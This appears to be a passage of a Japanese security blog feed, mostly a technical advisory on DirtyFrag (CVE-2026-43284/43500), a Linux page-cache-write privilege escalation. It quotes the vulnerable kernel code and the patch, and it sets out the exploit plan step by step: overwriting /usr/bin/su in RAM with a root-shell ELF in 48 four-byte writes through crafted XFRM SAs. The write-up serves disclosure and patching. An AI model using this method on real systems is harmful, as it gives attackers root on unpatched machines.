&lt;p&gt;アセットを選択したら、スキャンプロファイルのセクションに移動し、&lt;strong&gt;Single Vulnerability Assessment&lt;/strong&gt;を選択します。これにより、エンジンは標準の広範なチェックを省き、探している特定の欠陥だけに集中します。&lt;br/&gt;
&lt;figure&gt;&lt;img alt="Ostorlabのスキャンプロファイルメニュー" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-01_SVA_DD_announcement_article/scan_profiles.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt; &lt;/p&gt;
&lt;p&gt;3. &lt;strong&gt;AIプロバイダーを選択する：&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;シンプルモードまたは高度なモードのいずれかで、APIキーを入力します。&lt;/p&gt;
&lt;p&gt;4. &lt;strong&gt;プロンプトで動作を方向付ける：&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;最後のステップでは、スキャンにどのように動作してほしいかを具体的に定義します。1つまたは複数のプロンプトを選択してエージェントのロジックを方向付け、対象とする欠陥の細かな特性に合わせて調査を調整します。&lt;/p&gt;
&lt;h3 id="dig deeperセッションの開始"&gt;&lt;strong&gt;Dig Deeperセッションの開始&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;1. &lt;strong&gt;任意の検出結果から始める：&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="スキャンの検出結果" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-01_SVA_DD_announcement_article/findings.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt; &lt;br/&gt;
スキャン結果のページで、さらに調査したい個別の脆弱性を開き、&lt;strong&gt;Dig Deeper&lt;/strong&gt;ボタンをクリックします。&lt;/p&gt;
&lt;p&gt;2. &lt;strong&gt;調査パスを選ぶ：&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;設定画面で、希望するパス（誤検知の検証、より深い調査の実行、カスタムアクションの実行）を選択します。&lt;/p&gt;
&lt;p&gt;3. &lt;strong&gt;AIのAPIキーを入力する：&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;お好みのプロバイダーのキーを入力するか、オプションの高度な設定を使って、検出、検証、ビジョンの各タスクに専門のモデルを割り当てます。ディープスキャンを開始すれば、現在のタブを離れることなく、フラグが立った問題をすぐに対応可能なリスクの知見へと変えることができます。&lt;/p&gt;
&lt;h2 id="精密なセキュリティを今すぐ体験"&gt;&lt;strong&gt;精密なセキュリティを今すぐ体験&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;フルスケールの評価は、健全なセキュリティ態勢の中核的な基盤であり続けます。しかし、機敏に、迅速に、集中して行動する必要があるときには、&lt;strong&gt;SVA&lt;/strong&gt;と&lt;strong&gt;Dig Deeper&lt;/strong&gt;が新たな運用標準となります。&lt;br/&gt;
今すぐOstorlabのダッシュボードにログインして、&lt;a href="https://report.ostorlab.co/o/os/scan/new"&gt;&lt;strong&gt;ターゲットを絞った最初のSVAスキャンを実行する&lt;/strong&gt;&lt;/a&gt;か、&lt;a href="https://report.ostorlab.co/o/os/scan/list"&gt;&lt;strong&gt;Dig Deeperで検出結果の表面の奥まで掘り下げましょう&lt;/strong&gt;&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;セキュリティはシンプルに。リスクはゼロに。&lt;/strong&gt;&lt;br/&gt;
&lt;em&gt;&amp;mdash; Ostorlabセキュリティチーム&lt;/em&gt;&lt;/p&gt;</content><category term="Product"/><category term="SVA"/><category term="Dig Deeper"/><category term="BYOK"/></entry><entry><title>DirtyFrag：ページキャッシュ書き込みによるLinux汎用ローカル権限昇格</title><link href="https://blog.ostorlab.co/ja/dirtyfrag-cve-2026-43284-cve-2026-43500-linux-lpe.html" rel="alternate"/><published>2026-05-13T14:00:00+02:00</published><updated>2026-05-13T14:00:00+02:00</updated><author><name>Aziz Elbelaychy</name></author><id>tag:blog.ostorlab.co,2026-05-13:/ja/dirtyfrag-cve-2026-43284-cve-2026-43500-linux-lpe.html</id><summary type="html">&lt;p&gt;DirtyFragの技術解説です。これは2つのLinuxカーネルのローカル権限昇格の脆弱性（CVE-2026-43284およびCVE-2026-43500、CVSS 7.8 HIGH）であり、権限を持たないあらゆるローカルユーザーが主要なLinuxディストリビューションのほとんどでrootを取得できます。xfrm-ESPとRxRPCのインプレース復号経路の不備を連鎖させ、いずれもDirty PipeおよびCopy Failと同じページキャッシュ書き込みプリミティブに根ざしており、このエクスプロイトはレースコンディションなしで読み取り専用のページキャッシュページを上書きし、ほぼ100%の信頼性を実現します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;DirtyFrag&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ページキャッシュ書き込みによるLinux汎用ローカル権限昇格&lt;/p&gt;
&lt;p&gt;2026年5月7日 &amp;middot; CVSS 7.8 HIGH &amp;middot; Linuxカーネル（2017〜2026年）&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;CVE ID&lt;/th&gt;
&lt;th style="text-align: left;"&gt;CVSS&lt;/th&gt;
&lt;th style="text-align: left;"&gt;コンポーネント&lt;/th&gt;
&lt;th style="text-align: left;"&gt;影響を受けるバージョン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;修正&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CVE-2026-43284&lt;/td&gt;
&lt;td style="text-align: left;"&gt;7.8 HIGH&lt;/td&gt;
&lt;td style="text-align: left;"&gt;xfrm / ESP (esp4, esp6)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;kernel &amp;ge; cac2661c53f3 (2017-01-17)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;f4c50a4034e6 (2026-05-08)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CVE-2026-43500&lt;/td&gt;
&lt;td style="text-align: left;"&gt;7.8 HIGH&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RxRPC (rxrpc.ko)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;kernel &amp;ge; 2dc334f1a63a (2023-06-08)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;aa54b1d27fe0 (2026-05-10)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="dirtyfrag概要:dirtyページキャッシュ書き込みファミリーの新たな一員"&gt;DirtyFrag概要：Dirtyページキャッシュ書き込みファミリーの新たな一員&lt;/h2&gt;
&lt;p&gt;DirtyFragは&lt;a href="https://x.com/v4bel"&gt;Hyunwoo Kim (@v4bel)&lt;/a&gt;によって発見・報告された権限昇格手法であり、Linuxディストリビューションの大多数でレースコンディションなしにrootを取得します。これは&lt;a href="https://dirtypipe.cm4all.com/"&gt;Dirty Pipe&lt;/a&gt;および&lt;a href="https://copy.fail/"&gt;Copy Fail&lt;/a&gt;と同じ脆弱性クラスに属します。攻撃者は&lt;code&gt;splice()&lt;/code&gt;を用いて読み取り専用のページキャッシュページをカーネルのデータ構造にピン留めし、その後カーネルコードがそのページの上にインプレース書き込みを行うことで、攻撃者が読み取りしかできないファイルのRAM上のコピーを恒久的に破壊します。&lt;/p&gt;
&lt;p&gt;この名前は「dirtied（汚される）」側のメンバーを指します。Dirty Pipeは&lt;code&gt;struct pipe_buffer&lt;/code&gt;を破壊しますが、DirtyFragは&lt;code&gt;struct sk_buff&lt;/code&gt;の&lt;code&gt;frag&lt;/code&gt;メンバーを破壊します。&lt;/p&gt;
&lt;p&gt;DirtyFragは、互いの盲点を補い合うために2つの独立した脆弱性を連鎖させます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-43284（xfrm-ESPページキャッシュ書き込み）&lt;/strong&gt; &amp;mdash; IPsec ESP入力経路を通じて発火する、強力な任意4バイトSTOREプリミティブです。ほとんどのディストリビューションで利用可能ですが、ユーザー名前空間を作成する権限（&lt;code&gt;unshare(CLONE_NEWUSER)&lt;/code&gt;）が必要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-43500（RxRPCページキャッシュ書き込み）&lt;/strong&gt; &amp;mdash; RxRPCのインプレース復号経路を通じて発火する8バイトSTOREです。名前空間の権限は不要ですが、&lt;code&gt;rxrpc.ko&lt;/code&gt;に依存します。これはほとんどのディストリビューションには同梱されていませんが、Ubuntuではデフォルトでロードされます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ESPバリアントを先に実行し、名前空間の作成がブロックされている場合（例：AppArmorでハードニングされたUbuntu）にはRxRPCバリアントへフォールバックすることで、単一のバイナリがあらゆる主要ディストリビューションでrootを取得します。&lt;/p&gt;
&lt;h2 id="cve-2026-43284:xfrm-espページキャッシュ書き込み"&gt;CVE-2026-43284：xfrm-ESPページキャッシュ書き込み&lt;/h2&gt;
&lt;h3 id="根本原因"&gt;根本原因&lt;/h3&gt;
&lt;p&gt;ESPペイロードに対してインプレースAEAD復号を実行する前に、&lt;code&gt;esp_input()&lt;/code&gt;は非線形なskbに対して&lt;code&gt;skb_cow_data()&lt;/code&gt;を呼び出し、プライベートなカーネルバッファを割り当ててそこにfragデータをコピーすべきです。しかし、skbがクローンされておらず、&lt;code&gt;frag_list&lt;/code&gt;も持たない場合、この関数は復号へと直接ショートカットします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;esp_input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;xfrm_state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;sk_buff&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;skb_cloned&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;skb_is_nonlinear&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// [1]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;nfrags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip_cow&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;skb_has_frag_list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;nfrags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skb_shinfo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;nr_frags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;nfrags&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip_cow&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// [2] vulnerable path&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skb_cow_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;trailer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;[2]&lt;/code&gt;では、fragがコピーオンライトをバイパスします。攻撃者が&lt;code&gt;splice&lt;/code&gt;を通じてページキャッシュページをそのfragにピン留めしていた場合、ESPサブシステム内部のAEADエンジンはそのページ上で直接動作します
（注：これはalgif_aeadとは別物であり、ここにAF_ALGは関与しません）。&lt;/p&gt;
&lt;p&gt;復号関数&lt;code&gt;crypto_authenc_esn_decrypt()&lt;/code&gt;は、ESNシーケンス番号の前処理ステップ中、認証が実行される前に4バイトSTOREを行います。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;crypto_authenc_esn_decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;aead_request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;scatterwalk_map_and_copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;scatterwalk_map_and_copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;scatterwalk_map_and_copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;assoclen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cryptlen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// [3] 4-byte STORE&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;scatterwalk_ffwd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;areq_ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;[3]&lt;/code&gt;で書き込まれる4バイトの値は、ESNシーケンス番号の上位32ビットであり、攻撃者がSA登録時に&lt;code&gt;XFRMA_REPLAY_ESN_VAL&lt;/code&gt; netlink属性を介して指定する値です。つまり攻撃者は、&lt;strong&gt;書き込み先のファイルオフセット&lt;/strong&gt;（&lt;code&gt;splice&lt;/code&gt;による位置決めを通じて）と&lt;strong&gt;書き込まれる4バイト&lt;/strong&gt;（SAの&lt;code&gt;seq_hi&lt;/code&gt;を通じて）の&lt;strong&gt;両方&lt;/strong&gt;を制御できます。AEAD認証は&lt;code&gt;-EBADMSG&lt;/code&gt;で失敗しますが、STOREはすでにページキャッシュへコミットされています。&lt;/p&gt;
&lt;h3 id="エクスプロイト戦略(espバリアント)"&gt;エクスプロイト戦略（ESPバリアント）&lt;/h3&gt;
&lt;p&gt;対象は&lt;code&gt;/usr/bin/su&lt;/code&gt;です。このエクスプロイトは、そのページキャッシュコピーの先頭192バイトを、最小限のrootシェルELFで上書きします。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;このELFはPT_LOADを介して、vaddr &lt;code&gt;0x400000&lt;/code&gt;に0xb8バイトをR+Xとしてマップします。&lt;/li&gt;
&lt;li&gt;エントリポイント&lt;code&gt;0x400078&lt;/code&gt;は&lt;code&gt;setgid(0); setuid(0); setgroups(0, NULL); execve("/bin/sh", ...)&lt;/code&gt;を呼び出します。&lt;/li&gt;
&lt;li&gt;PAMのフローは完全にバイパスされます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;192バイトは48個の4バイトチャンクに分割され、それぞれが個別のXFRM SAによって配送されます。各SAの&lt;code&gt;seq_hi&lt;/code&gt;が対象のシェルコードバイトを運びます。&lt;/p&gt;
&lt;p&gt;子プロセスはまず&lt;code&gt;unshare(CLONE_NEWUSER | CLONE_NEWNET)&lt;/code&gt;を呼び出して新しい名前空間内で&lt;code&gt;CAP_NET_ADMIN&lt;/code&gt;を獲得し、その後48個のSAを一度に登録します。各トリガーは、偽造したESPワイヤヘッダーと&lt;code&gt;/usr/bin/su&lt;/code&gt;ページの16バイトを（&lt;code&gt;vmsplice&lt;/code&gt; + &lt;code&gt;splice&lt;/code&gt;を介して）、&lt;code&gt;UDP_ENCAP_ESPINUDP&lt;/code&gt;を設定したループバックUDPソケットへパイプします。結果として生成されるskbはページキャッシュページを&lt;code&gt;frags[0]&lt;/code&gt;として運び、&lt;code&gt;esp_input&lt;/code&gt;を流れ、4バイトSTOREを受け取ります。48回の反復がすべて完了すると、完全なELFがRAM上で組み立てられ、親プロセス（initの名前空間）からの&lt;code&gt;execve("/usr/bin/su")&lt;/code&gt;がrootシェルを起動します。&lt;/p&gt;
&lt;h3 id="パッチ(cve-2026-43284)"&gt;パッチ（CVE-2026-43284）&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4"&gt;この修正&lt;/a&gt;は、IPv4/IPv6のデータグラム追加経路で&lt;code&gt;splice&lt;/code&gt;を介して到着するページfragに&lt;code&gt;SKBFL_SHARED_FRAG&lt;/code&gt;フラグを付与し、&lt;code&gt;esp_input&lt;/code&gt; / &lt;code&gt;esp6_input&lt;/code&gt;の&lt;code&gt;skip_cow&lt;/code&gt;ガードを拡張してこのフラグをチェックするようにします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gd"&gt;-} else if (!skb_has_frag_list(skb)) {&lt;/span&gt;
&lt;span class="gi"&gt;+} else if (!skb_has_frag_list(skb) &amp;amp;&amp;amp;&lt;/span&gt;
&lt;span class="gi"&gt;+           !skb_has_shared_frag(skb)) {&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;攻撃者がピン留めしたページキャッシュページは、常に&lt;code&gt;skb_cow_data()&lt;/code&gt;に到達するようになり、インプレースAEADのdst SGLに入ることはできなくなりました。&lt;/p&gt;
&lt;h2 id="cve-2026-43500:rxrpcページキャッシュ書き込み"&gt;CVE-2026-43500：RxRPCページキャッシュ書き込み&lt;/h2&gt;
&lt;h3 id="根本原因_1"&gt;根本原因&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;rxkad_verify_packet_1()&lt;/code&gt;は、rxrpcペイロードの先頭8バイトに対してインプレースの&lt;code&gt;pcbc(fcrypt)&lt;/code&gt;復号を行うことで、&lt;code&gt;RXRPC_SECURITY_AUTH&lt;/code&gt;レベルのRxRPC DATAパケットを検証します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;sg_init_table&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ARRAY_SIZE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sg&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skb_to_sgvec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;[...]&lt;/span&gt;
&lt;span class="n"&gt;skcipher_request_set_crypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// [4] src == dst: in-place&lt;/span&gt;
&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;crypto_skcipher_decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// [5] 8-byte STORE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
